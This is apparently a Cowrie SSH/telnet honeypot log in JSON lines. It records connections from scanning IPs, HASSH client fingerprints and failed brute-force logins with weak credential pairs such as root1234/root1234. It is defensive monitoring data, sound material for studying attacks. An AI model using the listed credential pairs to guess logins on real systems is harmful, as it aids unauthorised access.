{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:55.189130Z","src_ip":"192.109.200.78","session":"729b53d4687a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36408,"dst_ip":"159.203.135.109","dst_port":22,"session":"88d546062484","protocol":"ssh","message":"New connection: 176.65.139.95:36408 (159.203.135.109:22) [session: 88d546062484]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:55.229916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:55.239651Z","src_ip":"176.65.139.95","session":"88d546062484","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:55.350909Z","src_ip":"176.65.139.95","session":"88d546062484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:55.442841Z","src_ip":"192.109.200.78","session":"729b53d4687a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:55.812222Z","src_ip":"176.65.139.95","session":"88d546062484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:56.529450Z","src_ip":"192.109.200.78","session":"729b53d4687a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:56.917416Z","src_ip":"176.65.139.95","session":"88d546062484","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59112,"dst_ip":"159.203.135.109","dst_port":22,"session":"802ce45fdec0","protocol":"ssh","message":"New connection: 192.109.200.78:59112 (159.203.135.109:22) [session: 802ce45fdec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:59.311440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:59.315858Z","src_ip":"192.109.200.78","session":"802ce45fdec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:59.399559Z","src_ip":"192.109.200.78","session":"802ce45fdec0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:14:59.649741Z","src_ip":"192.109.200.78","session":"802ce45fdec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:00.740069Z","src_ip":"192.109.200.78","session":"802ce45fdec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58164,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9e1a48bee09","protocol":"ssh","message":"New connection: 176.65.139.95:58164 (159.203.135.109:22) [session: f9e1a48bee09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:02.259438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:02.376025Z","src_ip":"176.65.139.95","session":"f9e1a48bee09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:02.382785Z","src_ip":"176.65.139.95","session":"f9e1a48bee09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:03.014390Z","src_ip":"176.65.139.95","session":"f9e1a48bee09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59116,"dst_ip":"159.203.135.109","dst_port":22,"session":"0152ea908183","protocol":"ssh","message":"New connection: 192.109.200.78:59116 (159.203.135.109:22) [session: 0152ea908183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:03.375456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:03.383356Z","src_ip":"192.109.200.78","session":"0152ea908183","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:03.466614Z","src_ip":"192.109.200.78","session":"0152ea908183","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:04.000919Z","src_ip":"192.109.200.78","session":"0152ea908183","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:04.122033Z","src_ip":"176.65.139.95","session":"f9e1a48bee09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00312995910645,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:05.017117Z","src_ip":"152.59.179.89","session":"2bb66cdaa6b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:05.093056Z","src_ip":"192.109.200.78","session":"0152ea908183","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.179.89","src_port":57689,"dst_ip":"10.17.0.5","dst_port":23,"session":"b91f7dfd0f82","protocol":"telnet","message":"New connection: 152.59.179.89:57689 (10.17.0.5:23) [session: b91f7dfd0f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:07.187892Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":59124,"dst_ip":"159.203.135.109","dst_port":22,"session":"61785e5cabc6","protocol":"ssh","message":"New connection: 192.109.200.78:59124 (159.203.135.109:22) [session: 61785e5cabc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:08.656456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:08.671442Z","src_ip":"192.109.200.78","session":"61785e5cabc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:08.755032Z","src_ip":"192.109.200.78","session":"61785e5cabc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sinusbot","password":"sinusbot","message":"login attempt [sinusbot/sinusbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:09.009886Z","src_ip":"192.109.200.78","session":"61785e5cabc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53198,"dst_ip":"159.203.135.109","dst_port":22,"session":"9cc31e8c4c89","protocol":"ssh","message":"New connection: 176.65.139.95:53198 (159.203.135.109:22) [session: 9cc31e8c4c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:09.037740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:09.050501Z","src_ip":"176.65.139.95","session":"9cc31e8c4c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:09.120880Z","src_ip":"176.65.139.95","session":"9cc31e8c4c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1234","password":"root1234","message":"login attempt [root1234/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:09.472924Z","src_ip":"176.65.139.95","session":"9cc31e8c4c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:10.102235Z","src_ip":"192.109.200.78","session":"61785e5cabc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:10.557019Z","src_ip":"176.65.139.95","session":"9cc31e8c4c89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45336,"dst_ip":"159.203.135.109","dst_port":22,"session":"d971b0c2e7b1","protocol":"ssh","message":"New connection: 192.109.200.78:45336 (159.203.135.109:22) [session: d971b0c2e7b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:11.914305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:11.924877Z","src_ip":"192.109.200.78","session":"d971b0c2e7b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:12.010688Z","src_ip":"192.109.200.78","session":"d971b0c2e7b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:12.265044Z","src_ip":"192.109.200.78","session":"d971b0c2e7b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:13.350230Z","src_ip":"192.109.200.78","session":"d971b0c2e7b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53200,"dst_ip":"159.203.135.109","dst_port":22,"session":"512768f9df51","protocol":"ssh","message":"New connection: 176.65.139.95:53200 (159.203.135.109:22) [session: 512768f9df51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:14.952856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:15:14.960733Z","src_ip":"176.65.139.95","session":"512768f9df51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecd